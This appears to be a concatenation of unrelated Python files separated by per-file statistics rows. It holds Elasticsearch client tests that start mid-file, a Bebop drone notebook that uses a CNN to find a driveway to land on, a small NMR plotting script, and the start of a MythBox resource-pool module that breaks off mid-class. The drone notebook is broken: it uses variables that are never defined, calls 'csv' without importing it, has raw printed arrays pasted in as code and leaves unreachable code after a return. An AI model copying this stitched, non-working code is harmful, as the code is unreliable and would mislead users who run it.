body=dict(query=dict(match_all={})),
scroll='10m', size=size,
chunked=False):
docsCounter += 1
self.assertEquals(docsCounter, self._total_docs)
def test_chunked_itersearch_with_meta_returns_meta(self):
for size in (10, 100):
scrollCounter = 0
docsCounter = 0
time.sleep(1)
for docs, meta in self.ss.itersearch(index=self._index,
doc_type=self._doc_type,
body=dict(query=dict(
match_all={})),
scroll='10m', size=size,
chunked=True,
with_meta=True):
docsCounter += len(docs)
scrollCounter += 1
self.assertEquals(docsCounter, self._total_docs)
self.assertEquals(scrollCounter, self._total_docs / size + 1)
self.assertTrue(isinstance(meta, dict))
self.assertEquals(meta['hits']['total'], self._total_docs)
def test_non_chunked_itersearch_with_meta_returns_meta(self):
for size in (10, 100):
docsCounter = 0
time.sleep(1)
for doc, meta in self.ss.itersearch(index=self._index,
doc_type=self._doc_type,
body=dict(query=dict(
match_all={})),
scroll='10m', size=size,
chunked=False,
with_meta=True):
docsCounter += 1
self.assertEquals(docsCounter, self._total_docs)
self.assertTrue(isinstance(meta, dict))
self.assertEquals(meta['hits']['total'], self._total_docs)
def test_itersearch_raises_assertion_error_when_less_docs_fetched(self):
mocked_value_template = {
"took": 27,
"timed_out": False,
"_scroll_id": 123213,
"_shards": {
"total": 2,
"successful": 2,
"failed": 0
},
"hits": {
"total": 13,
"max_score": None,
"hits": [
dict(some_doc="with_some_val") for i in xrange(10)
]
}
}
ss = SuperElasticsearch(hosts=['localhost:9200'])
def assertion(chunked):
# mock the client's scroll method
mocked_search_result = deepcopy(mocked_value_template)
ss.search = Mock(return_value=mocked_search_result)
mocked_scroll_result = deepcopy(mocked_value_template)
mocked_scroll_result['_scroll_id'] = 456456
mocked_scroll_result['hits']['hits'] = [
dict(some_doc="with_some_val") for i in xrange(2)
]
ss.scroll = Mock(return_value=mocked_scroll_result)
search_generator = ss.itersearch(index=self._index,
doc_type=self._doc_type,
body=dict(query=dict(
match_all={})),
scroll='10m',
chunked=chunked)
if chunked:
iterate_times = 2
else:
iterate_times = 12
for _ in range(0, iterate_times):
search_generator.next()
mocked_scroll_result = deepcopy(mocked_value_template)
mocked_scroll_result['_scroll_id'] = 789789
mocked_scroll_result['hits']['hits'] = []
ss.scroll = Mock(return_value=mocked_scroll_result)
search_generator.next()
self.assertRaises(ElasticsearchException,
functools.partial(assertion, True))
self.assertRaises(ElasticsearchException,
functools.partial(assertion, False))
def test_that_itersearch_clears_scroll_on_successful_scroll(self):
for docs, meta in self.ss.itersearch(index=self._index,
doc_type=self._doc_type,
body=dict(
query=dict(match_all={})),
scroll='10m', size=100,
with_meta=True):
scroll_id = meta['_scroll_id']
# check if it was the right exception
self.assertRaises(TransportError, self.es.scroll, scroll_id)
try:
self.es.scroll(scroll_id)
except TransportError, err:
self.assertTrue('SearchContextMissingException' in str(err))
@classmethod
def tearDownClass(cls):
cls.es.indices.delete(index=cls._index)
class TestBulkAction(unittest.TestCase):
def test_bulk_action_must_not_accept_invalid_action(self):
self.assertRaises(Exception, _BulkAction, type='asd', params={})
def test_bulk_action_must_accept_valid_actions(self):
_BulkAction('index', params={}, body=dict(key1='val1'))
_BulkAction('create', params={}, body=dict(key1='val1'))
_BulkAction('update', params={}, body=dict(key1='val1'))
_BulkAction('delete', params={})
def test_bulk_action_must_throw_exception_when_missing_expected_body(self):
self.assertRaises(Exception, _BulkAction, 'index', params={})
_BulkAction('index', params={}, body=dict(key1='val1'))
def test_bulk_action_must_generate_valid_bulk_op_for_es(self):
body = dict(key1='val1')
action = _BulkAction('index', params={}, body=body)
self.assertEquals(action.es_op,
(json.dumps({ 'index': {} }) + '\n' +
json.dumps(body)))
action = _BulkAction('create', params=dict(routing='123', refresh=True),
body=body)
self.assertEquals(action.es_op,
(json.dumps({ 'create': dict(routing='123',
refresh=True) }) +
'\n' + json.dumps(body)))
# make sure that body is ignored when the operation does not require it
action = _BulkAction('delete', params=dict(routing='123', refresh=True),
body=body)
self.assertEquals(action.es_op,
(json.dumps({ 'delete': dict(routing='123',
refresh=True) })))
class TestBulkOperation(unittest.TestCase):
# create a common Elasticsearch object
es = Elasticsearch(hosts=['localhost:9200'])
# create a common SuperElasticsearch object
ss = SuperElasticsearch(hosts=['localhost:9200'])
_index = 'automated_test_index__%s' % randint(0, 1000)
def setUp(self):
self._bulk = self.ss.bulk
def tearDown(self):
# restore bulk method back on SuperElasticsearch object
self.ss.bulk = self._bulk
def test_bulk_operation_returns_bulk_operation_object(self):
self.assertTrue(
isinstance(self.ss.bulk_operation(), BulkOperation))
def test_bulk_operation_must_pass_superlelasticsearch_object(self):
self.assertEquals(self.ss, self.ss.bulk_operation()._client)
def test_index_or_create_must_push_correct_action(self):
bulk = self.ss.bulk_operation()
body = dict(key1='val1')
# Without params
bulk._index_or_create('index', body)
action = bulk._actions[-1]
self.assertEquals(action.type, 'index')
assertDictEquals(action.body, body)
assertDictEquals(action.params, {})
# With params
bulk._index_or_create('create', doc_type='test_doc_type', body=body,
id=1, consistency='sync', ttl=200)
action = bulk._actions[-1]
self.assertEquals(action.type, 'create')
assertDictEquals(action.body, body)
assertDictEquals(action.params, {
'_type': 'test_doc_type',
'_id': 1,
'consistency': 'sync',
'ttl': '200'
})
bulk._index_or_create('create', index='test_bulk',
doc_type='test_doc_type', body=body,
routing='abcd', refresh=True)
action = bulk._actions[-1]
self.assertEquals(action.type, 'create')
assertDictEquals(action.body, body)
assertDictEquals(action.params, {
'_index': 'test_bulk',
'_type': 'test_doc_type',
'routing': 'abcd',
'refresh': 'true',
})
def test_index_calls_index_or_create_method_with_correct_args(self):
bulk = self.ss.bulk_operation()
body = dict(key1='val1')
bulk._index_or_create = Mock()
bulk.index(index='test_bulk', doc_type='test_bulk_doc_type', body=body,
timeout=200)
self.assertTrue(bulk._index_or_create)
self.assertEquals(bulk._index_or_create.call_args[0][0], 'index')
assertDictEquals(bulk._index_or_create.call_args[0][1], body)
self.assertEquals(bulk._index_or_create.call_args[0][2], None)
self.assertEquals(bulk._index_or_create.call_args[1]['timeout'], 200)
self.assertEquals(bulk._index_or_create.call_args[1]['index'],
'test_bulk')
self.assertEquals(bulk._index_or_create.call_args[1]['doc_type'],
'test_bulk_doc_type')
def test_create_calls_index_or_create_method_with_correct_args(self):
bulk = self.ss.bulk_operation()
body = dict(key1='val1')
bulk._index_or_create = Mock()
bulk.create(doc_type='test_bulk_doc_type', body=body,
id=4, timeout=200, routing='abcd')
self.assertTrue(bulk._index_or_create)
self.assertEquals(bulk._index_or_create.call_args[0][0], 'create')
assertDictEquals(bulk._index_or_create.call_args[0][1], body)
self.assertEquals(bulk._index_or_create.call_args[0][2], 4)
self.assertEquals(bulk._index_or_create.call_args[1]['timeout'], 200)
self.assertEquals(bulk._index_or_create.call_args[1]['doc_type'],
'test_bulk_doc_type')
self.assertEquals(bulk._index_or_create.call_args[1]['routing'],
'abcd')
def test_execute_must_empty_actions_after_executing_bulk_operation(self):
bulk = self.ss.bulk_operation()
body = dict(key1='val1')
bulk.create(index='test_bulk', doc_type='test_bulk_doc_type', body=body,
id=4, routing='abcd')
bulk.index(index='test_bulk', doc_type='test_bulk_doc_type', body=body)
bulk.execute()
self.assertEquals(len(bulk._actions), 0)
def test_execute_must_return_bulk_response(self):
bulk = self.ss.bulk_operation()
body = dict(key1='val1')
bulk.create(index='test_bulk', doc_type='test_bulk_doc_type', body=body,
id=4, routing='abcd')
bulk.index(index='test_bulk', doc_type='test_bulk_doc_type', body=body)
resp = bulk.execute()
self.assertTrue(isinstance(resp, dict))
self.assertTrue(isinstance(resp['items'], list))
self.assertEquals(len(resp['items']), 2)
def test_execute_must_call_bulk_with_correct_body_arg(self):
body = dict(key1='val1')
bulk = self.ss.bulk_operation()
bulk._client.bulk = Mock()
bulk.create(index='test_bulk', doc_type='test_bulk_doc_type', body=body,
id=4, routing='abcd')
bulk.index(index='test_bulk', doc_type='test_bulk_doc_type', body=body)
expected_bulk_body = ''
for action in bulk._actions:
expected_bulk_body += action.es_op + '\n'
resp = bulk.execute()
self.assertTrue(bulk._client.bulk.called)
self.assertTrue(isinstance(bulk._client.bulk.call_args[1]['body'], str))
self.assertEquals(bulk._client.bulk.call_args[1]['body'],
expected_bulk_body)
def test_execute_must_use_kwargs_provided_at_the_creation_of_bulk_op(self):
body = dict(key1='val1')
bulk = self.ss.bulk_operation(index='default_index',
doc_type='some_type',
refresh=True)
bulk._client.bulk = Mock()
bulk.create(index='test_bulk', doc_type='test_bulk_doc_type', body=body,
id=4, routing='abcd')
bulk.index(index='test_bulk', doc_type='test_bulk_doc_type', body=body)
resp = bulk.execute()
self.assertTrue(bulk._client.bulk.called)
self.assertEquals(bulk._client.bulk.call_args[1]['index'],
'default_index')
self.assertEquals(bulk._client.bulk.call_args[1]['doc_type'],
'some_type')
self.assertEquals(bulk._client.bulk.call_args[1]['refresh'],
'true')
def test_execute_must_override_kwargs_provided_at_bulk_op_creation(self):
body = dict(key1='val1')
bulk = self.ss.bulk_operation(index='default_index',
doc_type='some_type',
refresh=True)
bulk._client.bulk = Mock()
bulk.create(index='test_bulk', doc_type='test_bulk_doc_type', body=body,
id=4, routing='abcd')
bulk.index(index='test_bulk', doc_type='test_bulk_doc_type', body=body)
resp = bulk.execute(index='some_other_index', refresh=False)
self.assertTrue(bulk._client.bulk.called)
self.assertEquals(bulk._client.bulk.call_args[1]['index'],
'some_other_index')
self.assertEquals(bulk._client.bulk.call_args[1]['doc_type'],
'some_type')
self.assertEquals(bulk._client.bulk.call_args[1]['refresh'],
'false')
def test_update_must_push_correct_action(self):
bulk = self.ss.bulk_operation()
body = dict(key1='val1')
# Without params
bulk.update(id=123, body=body)
action = bulk._actions[-1]
self.assertEquals(action.type, 'update')
assertDictEquals(action.body, body)
assertDictEquals(action.params, dict(_id=123))
# With params
bulk.update(index='test_index', doc_type='test_doc_type', body=body,
id=123, consistency='sync', ttl=200)
action = bulk._actions[-1]
self.assertEquals(action.type, 'update')
assertDictEquals(action.body, body)
assertDictEquals(action.params, {
'_index': 'test_index',
'_type': 'test_doc_type',
'_id': 123,
'consistency': 'sync',
'ttl': '200'
})
def test_delete_must_push_correct_action(self):
bulk = self.ss.bulk_operation()
body = dict(key1='val1')
# Without params
bulk.delete(id=123)
action = bulk._actions[-1]
self.assertEquals(action.type, 'delete')
assertDictEquals(action.body, None)
assertDictEquals(action.params, dict(_id=123))
# With params
bulk.delete(index='test_index', doc_type='test_doc_type',
id=123, consistency='sync', parent=1)
action = bulk._actions[-1]
self.assertEquals(action.type, 'delete')
assertDictEquals(action.body, None)
assertDictEquals(action.params, {
'_index': 'test_index',
'_type': 'test_doc_type',
'_id': 123,
'consistency': 'sync',
'parent': '1',
})
# Make sure delete does not push body even if passed
bulk.delete(id=123, body=body)
action = bulk._actions[-1]
self.assertEquals(action.type, 'delete')
assertDictEquals(action.body, None)
assertDictEquals(action.params, dict(_id=123))
| 41.012903 | 80 | 0.566619 | 2,041 | 19,071 | 5.018128 | 0.119059 | 0.041008 | 0.027924 | 0.038079 | 0.685218 | 0.640207 | 0.612087 | 0.591779 | 0.56571 | 0.538274 | 0 | 0.020562 | 0.326779 | 19,071 | 464 | 81 | 41.101293 | 0.777163 | 0.029679 | 0 | 0.522788 | 0 | 0 | 0.082274 | 0.005626 | 0 | 0 | 0 | 0 | 0.211796 | 0 | null | null | 0.002681 | 0.042895 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e731eea223ba49e889915de1e8f4b5bd9d13dbc0 | 11,833 | py | Python | Working CNN Boi v2.py | hlal1/Bebop-Autonomous-Control | 9cfd5f7475d828fbc932baf70eaeccafcdf48970 | [
"MIT"
] | 2 | 2018-12-02T04:17:18.000Z | 2018-12-18T10:56:10.000Z | Working CNN Boi v2.py | hlal1/Bebop-Autonomous-Control | 9cfd5f7475d828fbc932baf70eaeccafcdf48970 | [
"MIT"
] | null | null | null | Working CNN Boi v2.py | hlal1/Bebop-Autonomous-Control | 9cfd5f7475d828fbc932baf70eaeccafcdf48970 | [
"MIT"
] | null | null | null |
# coding: utf-8
# In[2]:
import os
import numpy as np
import pylab
import imageio
from matplotlib import pyplot as plt
import cv2
import time
from os.path import isfile, join
from keras.applications import mobilenet
from keras.models import load_model
from scipy.ndimage.measurements import label
from scipy.ndimage.measurements import center_of_mass
from matplotlib import colors
import skimage
# In[3]:
print(os.listdir('.'))
# In[1]:
import os
from keras.preprocessing.image import ImageDataGenerator
# normalization
# normalize each chip
samplewise_center = True
samplewise_std_normalization = True
# normalize by larger batches
featurewise_center = False
featurewise_std_normalization = False
# adjacent pixel correllation reduction
# never explored
zca_whitening = False
zca_epsilon = 1e-6
# data augmentation
# training only
transform = 0
zoom_range = 0
color_shift = 0
rotate = 0
flip = False
datagen_test = ImageDataGenerator(
samplewise_center=samplewise_center,
featurewise_center=featurewise_center,
featurewise_std_normalization=featurewise_std_normalization,
samplewise_std_normalization=samplewise_std_normalization,
zca_whitening=zca_whitening,
zca_epsilon=zca_epsilon,
rotation_range=rotate,
width_shift_range=transform,
height_shift_range=transform,
shear_range=transform,
zoom_range=zoom_range,
channel_shift_range=color_shift,
fill_mode='constant',
cval=0,
horizontal_flip=flip,
vertical_flip=flip,
rescale=1./255,
preprocessing_function=None)
generator_test = datagen_test.flow(
'Training_Data',
target_size=(image_dimensions,image_dimensions),
color_mode="rgb",
batch_size=training_batch_size,
class_mode='categorical',
shuffle=True)
# **Module to operate on each individual frame of the video**
# In[4]:
#Load Weights
model = load_model('bebop_mobilenet_v0.h5', custom_objects={
'relu6': mobilenet.relu6,
'DepthwiseConv2D': mobilenet.DepthwiseConv2D})
# In[32]:
def ProcessChip (frame):
#result_feature_map = np.zeros((9,16,7)) #CNN feature map to be returned
values = np.zeros((9,16,3))
chips = np.zeros((144,120,120,3))
for i in range(0,9):
for j in range(0,16):
chips[16*i+j] = frame[120*i:120*(i+1), 120*j:120*(j+1), :]
#values[i][j]=model.predict(np.expand_dims(frame[120*i:120*(i+1), 120*j:120*(j+1), :], 0))
#chip = frame[120*i:120*(i+1), 120*j:120*(j+1), :]
generator_test = datagen_test.flow(
chips,
batch_size=144,
shuffle=False)
#return values
return model.predict_generator(generator_test,
steps = 1)
# In[12]:
#All Decision Algo Definition
#Function to find the closest roof/driveway
def closest(list,img_center):
closest=list[0]
for c in list:
if np.linalg.norm(c-img_center) < np.linalg.norm(closest-img_center):
closest = c
return closest
#Sliding window function
def sliding_window_view(arr, shape):
n = np.array(arr.shape)
o = n - shape + 1 # output shape
strides = arr.strides
new_shape = np.concatenate((o, shape), axis=0)
new_strides = np.concatenate((strides, strides), axis=0)
return np.lib.stride_tricks.as_strided(arr ,new_shape, new_strides)
# In[13]:
##Decision algo with input of 9x16 array at which image was taken.
def decision_algo(image_frame):
image_frame[image_frame==0]=3
### READ THE ALTITUDE FROM CSV FILE ###
#Read alt.csv
with open('alt.csv', 'r') as csvfile:
alt_list = [line.rstrip('\n') for line in csvfile]
#Choose last value in alt_list
altitude=int(alt_list[-1]) #in meters
### ALGORITHM TO FIND CLOSEST DRIVEWAY ###
#Center of the 9x16 array
img_center=np.array([4,7.5])
#Label all the driveways and roofs
driveway, num_driveway = label(image_frame==1)
roof, num_roof = label(image_frame==2)
#Save number of driveways and roofs into array
d=np.arange(1,num_driveway+1)
r=np.arange(1,num_roof+1)
if(len(d)<1):
print("No driveway found, return to base")
else:
#Find the center of the all the driveways
driveway_center=center_of_mass(image_frame,driveway,d)
roof_center=center_of_mass(image_frame,roof,r)
#Find the closest roof to the center of the image
if(len(roof_center)>0):
closest_roof=closest(roof_center,img_center)
else:
#if no roof is found, set closest_roof as center of image
closest_roof=img_center
print("Roof center list empty")
#Find the closest driveway to the closest roof
closest_driveway=closest(driveway_center,np.asarray(closest_roof))
### ALGORITHM TO FIND 3x3 DRIVEWAY TO LAND ###
#If altitude is 5m or less, look for a 3x3 sliding window of 1's, if found, Land.
#At 5m, a 3x3 will be equivalent to 1.5m x 1.5m.
if(altitude<=5.0):
#Creates a 7x10 ndarray with all the 3x3 submatrices
sub_image=sliding_window_view(image_frame,(3,3))
#Empty list
driveway_list=[]
#Loop through the 7x14 ndarray
for i in range(0,7):
for j in range(i,14):
#Calculate the total of the submatrices
output=sum(sum(sub_image[i,j]))
#if the output is 9, that means we have a 3x3 that is all driveway
if output==9:
#append the i(row) and j(column) to a list declared previously
#we add 1 to the i and j to find the center of the 3x3
driveway_list.append((i+1,j+1))
if(len(driveway_list)>0):
#Call closest function to find driveway closest to house.
closest_driveway=closest(driveway_list,np.asarray(closest_roof))
print(closest_driveway)
print("Safe to land")
else:
print("Need to fly lower")
### SCALE CLOSEST DRIVEWAY CENTER TO REAL WORLD COORDINATES AND SAVE TO CSV ###
scaler=0.205/(216.26*altitude**-0.953) #m/pixel
if(len(driveway_center)>0):
print (closest_driveway)
move_coordinates=([4,7.5]-np.asarray(closest_driveway)) #Find coordinates relative to center of image
move_coordinates=np.asarray(move_coordinates)*np.asarray(scaler)*120 #60 is the center of the 120x120 superpixel
move_coordinates=np.append(move_coordinates,(altitude-2)) #Add altitude to array
print (move_coordinates)
with open('coords.csv', 'w') as csvfile:
filewriter = csv.writer(csvfile, delimiter=',')
filewriter.writerow(move_coordinates)
with open('coordinates_history.csv', 'a', newline='') as csvfile:
filewriter = csv.writer(csvfile, delimiter=',')
filewriter.writerow(move_coordinates)
return
# In[14]:
def heatmap (feature_map, frame):
color_mask = np.zeros((1080,1920,3))
temp_frame = skimage.img_as_float(frame)
alpha = 0.6
for i in range (0,9):
for j in range (0,16):
if feature_map[i][j] == 2:
color_mask[120*i:120*(i+1), 120*j:120*(j+1), :] = [0, 0, 1] #Blue
elif feature_map[i][j] == 1:
color_mask[120*i:120*(i+1), 120*j:120*(j+1), :] = [0, 1, 0] #Green
else:
color_mask[120*i:120*(i+1), 120*j:120*(j+1), :] = [1, 0, 0] #Red
color_mask_hsv = colors.rgb_to_hsv(color_mask)
frame_hsv = colors.rgb_to_hsv(temp_frame)
frame_hsv[..., 0] = color_mask_hsv[..., 0]
frame_hsv[..., 1] = color_mask_hsv[..., 1] * alpha
frame_masked = colors.hsv_to_rgb(frame_hsv)
return frame_masked
# In[15]:
def correct_arr (arr) :
arr = arr + 1
arr[arr>2] = 0
return arr
def reshape_arr (arr) :
corr_feature_map = np.zeros((9,16))
for i in range (0, 9):
for j in range (0, 16):
corr_feature_map[i][j] = arr[16*i+j]
return corr_feature_map
# **Module to iterate through each frame in video**
# In[46]:
def VideoToFrames (vid):
count = 0 # Can be removed. Just to verify number of frames
#count_pavement = []
#t = time.time()
for image in vid.iter_data(): #Iterate through every frame in Video
#image: numpy array containing image information
#Insert Function here to operate on frame. For now I've put my ProcessChip() placeholder.
#ProcessChip is currently just returning a chip. Modify its return statement once CNN function call is added.
#arr = correct_arr(np.argmax(ProcessChip(image), axis=1))
#print (arr)
#count_pavement.extend([np.bincount(np.argmax(frame_feature_map, axis=1))[1]])
#The following is to just check if frames are being read correctly. Can be removed.
#print(np.expand_dims(image,0).shape)
if count % 600 == 0:
print (count)
feature_map = ProcessChip(image)
arr = correct_arr(np.argmax(ProcessChip(image), axis=1))
arr = np.reshape(arr,(9,16))
decision_algo(arr)
plt.imshow(heatmap(arr, image), interpolation='nearest')
plt.show()
count += 1
#elapsed = time.time() - t
return
if count % 600 == 0:
print (count)
arr = np.reshape(correct_arr(np.argmax(ProcessChip(image), axis=1)), (9,16))
#decision_algo(arr)
print(arr)
frame_masked = heatmap (arr, image)
plt.imshow(frame_masked, interpolation='nearest')
plt.show()
# In[48]:
filename = './Bebop2_20180414163256-0700.mp4' #Add path to video file
# In[49]:
vid = imageio.get_reader(filename, 'ffmpeg') #You can use any reader of your choice
#print (vid.iter_data())
# In[50]:
VideoToFrames(vid) #Passing the video to be analyzed frame by frame
# In[79]:
plt.plot(temp)
[1 1 1 1 1 2 1 1 1 2 1 1 1 1 1 1 1 1 1 1 1 2 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 2 1 1 1 1 1 1 1 1 1 1 1 0 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0 1 1 0 1 1 1 1 0 2 1 2 1 1 1
1 1 1 1 0 0 1 1 1 0 1 0 1 1 1 1 1 1 1 1 1 1 0 1 1 1 1 0 1 1 1 1 1][2 2 2 2 2 0 2 2 2 0 2 2 2 2 2 2 2 2 2 2 2 0 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2
2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 0 2 2 2 2 2 2 2 2 2 2 2 1 2 2 2 2 2
2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 1 2 2 1 2 2 2 2 1 0 2 0 2 2 2
2 2 2 2 1 1 2 2 2 1 2 1 2 2 2 2 2 2 2 2 2 2 1 2 2 2 2 1 2 2 2 2 2][[2 2 2 2 2 0 2 2 2 0 2 2 2 2 2 2]
[2 2 2 2 2 0 2 2 2 2 2 2 2 2 2 2]
[2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2]
[2 2 2 2 2 2 2 2 0 2 2 2 2 2 2 2]
[2 2 2 2 1 2 2 2 2 2 2 2 2 2 2 2]
[2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2]
[1 2 2 1 2 2 2 2 1 0 2 0 2 2 2 2]
[2 2 2 1 1 2 2 2 1 2 1 2 2 2 2 2]
[2 2 2 2 2 1 2 2 2 2 1 2 2 2 2 2]][[2 2 2 2 2 0 2 2 2 0 2 2 2 2 2 2]
[2 2 2 2 2 0 2 2 2 2 2 2 2 2 2 2]
[2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2]
[2 2 2 2 2 2 2 2 0 2 2 2 2 2 2 2]
[2 2 2 2 1 2 2 2 2 2 2 2 2 2 2 2]
[2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2]
[1 2 2 1 2 2 2 2 1 0 2 0 2 2 2 2]
[2 2 2 1 1 2 2 2 1 2 1 2 2 2 2 2]
[2 2 2 2 2 1 2 2 2 2 1 2 2 2 2 2]]
# In[ ]:
[[0 1 0 0 2 2 0 0 2 0 1 2 1 1 1 1]
[0 0 0 0 2 2 2 2 1 0 1 1 1 1 1 0]
[0 0 2 2 2 2 0 2 0 1 1 0 0 1 0 0]
[0 0 2 2 2 2 0 2 0 1 1 1 0 0 0 0]
[2 2 2 2 1 2 2 2 0 1 1 0 0 0 0 0]
[0 1 2 2 2 2 2 2 0 0 1 0 1 0 0 0]
[0 0 0 0 2 0 0 2 0 0 1 0 0 0 0 0]
[0 0 0 0 1 2 2 0 0 1 0 0 0 0 0 0]
[0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0]]
| 31.139474 | 141 | 0.604073 | 2,144 | 11,833 | 3.245336 | 0.170243 | 0.104053 | 0.136677 | 0.159241 | 0.240443 | 0.194165 | 0.173469 | 0.17117 | 0.164128 | 0.146019 | 0 | 0.126925 | 0.297558 | 11,833 | 379 | 142 | 31.221636 | 0.710178 | 0.232147 | 0 | 0.195349 | 0 | 0 | 0.028963 | 0.008466 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.074419 | null | null | 0.051163 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e73b2f86358193465bc83dd50ac16ed7ccbafd76 | 891 | py | Python | import_plotting_nmr.py | DrSPE/NMRscipts | 166c6990103de549882fc4f812350efb3ae3862e | [
"MIT"
] | null | null | null | import_plotting_nmr.py | DrSPE/NMRscipts | 166c6990103de549882fc4f812350efb3ae3862e | [
"MIT"
] | null | null | null | import_plotting_nmr.py | DrSPE/NMRscipts | 166c6990103de549882fc4f812350efb3ae3862e | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Created on Fri Mar 10 12:19:15 2017
@author: se359
"""
# Imports
import numpy as np
import matplotlib.pyplot as plt
#data import
n, I, f, delta = np.loadtxt('nmr.txt', skiprows=1, delimiter=',', unpack=True)
# Create a new figure of size 8x6 points, using 100 dots per inch
plt.figure(figsize=(8,6), dpi=80)
# Create a new subplot from a grid of 1x1
plt.subplot(111)
# Plot using blue color with a continuous line of width 1 (pixels)
plt.plot(delta, I, color="blue", linewidth=1.0, linestyle="-")
# Set x limits
#plt.xlim(-180.0,180.0)
# Set x ticks
#plt.xticks(np.linspace(-4,4,9,endpoint=True))
# Set y limits
#plt.ylim(-1.0,1.0)
# Set y ticks
#plt.yticks(np.linspace(-1,1,5,endpoint=True))
# Save figure using 72 dots per inch
# savefig("../figures/exercice_2.png",dpi=72)
# Show result on screen
plt.show() | 21.731707 | 79 | 0.656566 | 155 | 891 | 3.767742 | 0.6 | 0.010274 | 0.034247 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.079057 | 0.190797 | 891 | 41 | 80 | 21.731707 | 0.730929 | 0.609428 | 0 | 0 | 0 | 0 | 0.045614 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.285714 | 0 | 0.285714 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e7414b75773d5f23523a5725a52f49a652ee856f | 6,602 | py | Python | resources/src/mythbox/pool.py | bopopescu/ServerStatus | a883598248ad6f5273eb3be498e3b04a1fab6510 | [
"MIT"
] | null | null | null | resources/src/mythbox/pool.py | bopopescu/ServerStatus | a883598248ad6f5273eb3be498e3b04a1fab6510 | [
"MIT"
] | 1 | 2015-04-24T02:24:31.000Z | 2015-04-24T02:24:33.000Z | resources/src/mythbox/pool.py | GetSomeBlocks/Score_Soccer | a883598248ad6f5273eb3be498e3b04a1fab6510 | [
"MIT"
] | 2 | 2018-04-17T17:34:39.000Z | 2020-07-26T03:43:33.000Z | #
# MythBox for XBMC - http://mythbox.googlecode.com
# Copyright (C) 2010 analogue@yahoo.com
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
#
import datetime
import logging
import threading
import time
from mythbox.util import sync_instance, run_async
log = logging.getLogger('mythbox.inject')
# Globally available resources pools
# key = name of pool
# value = Pool instance
pools = {}
class PoolableFactory(object):
"""Pooled resources needs a factory to create/destroy concrete instances."""
def create(self):
raise Exception, "Abstract method"
def destroy(self, resource):
raise Exception, "Abstract method"
class Pool(object):
"""Simple no frills unbounded resource pool"""
def __init__(self, factory):
"""
@type factory: PoolableFactory
"""
self.factory = factory
self.isShutdown = False
self.inn = []
self.out = []
@sync_instance
def checkout(self):
if self.isShutdown: raise Exception, 'Pool shutdown'
if len(self.inn) == 0:
log.debug('Creating resource %d' % (len(self.out)+1))
resource = self.factory.create()
else:
resource = self.inn.pop()
self.out.append(resource)
return resource
@sync_instance
def checkin(self, resource):
if self.isShutdown: raise Exception, 'Pool shutdown'
self.inn.append(resource)
self.out.remove(resource)
@sync_instance
def discard(self, resource):
self.out.remove(resource)
try:
self.factory.destroy(resource)
except:
log.exception('while discarding')
@sync_instance
def shutdown(self):
for resource in self.inn:
try:
self.factory.destroy(resource)
except:
log.exception('Destroy pooled resource')
if len(self.out) > 0:
log.warn('%d pooled resources still out on shutdown' % len(self.out))
self.isShutdown = True
@sync_instance
def size(self):
return len(self.inn) + len(self.out)
@sync_instance
def available(self):
return len(self.inn)
@sync_instance
def shrink(self):
if self.isShutdown: raise Exception, 'Pool shutdown'
if len(self.inn) > 0:
for r in self.inn[:]:
try:
self.inn.remove(r)
self.factory.destroy(r)
except:
log.exception('while shrinking')
@sync_instance
def grow(self, size):
if self.isShutdown: raise Exception, 'Pool shutdown'
if size > self.size():
delta = size - self.size()
for i in range(delta):
r = self.factory.create()
self.inn.append(r)
class EvictingPool(Pool):
"""Evicts resources asynchronously based on a configurable maximum age.
Surprisingly, I came up empty finding an existing FOSS implementation
where evictions were async."""
def __init__(self, factory, maxAgeSecs, reapEverySecs):
Pool.__init__(self, factory)
self.maxAgeSecs = maxAgeSecs
self.reapEverySecs = reapEverySecs
self.dobs = {}
self.stopReaping = False
self.numEvictions = 0
self.startLock = threading.Event()
self.startLock.clear()
self.evictorThread = self.evictor() # TODO: Don't start evictor until something is actually in the pool
self.startLock.wait()
log.debug('Evictor thread = %s' % self.evictorThread)
@run_async
def evictor(self):
log.debug('Evictor started')
self.startLock.set()
cnt = 1
while not self.isShutdown and not self.stopReaping:
time.sleep(1)
if cnt % self.reapEverySecs == 0:
self.reap(cnt)
cnt+=1
log.debug('Evictor exiting')
@sync_instance
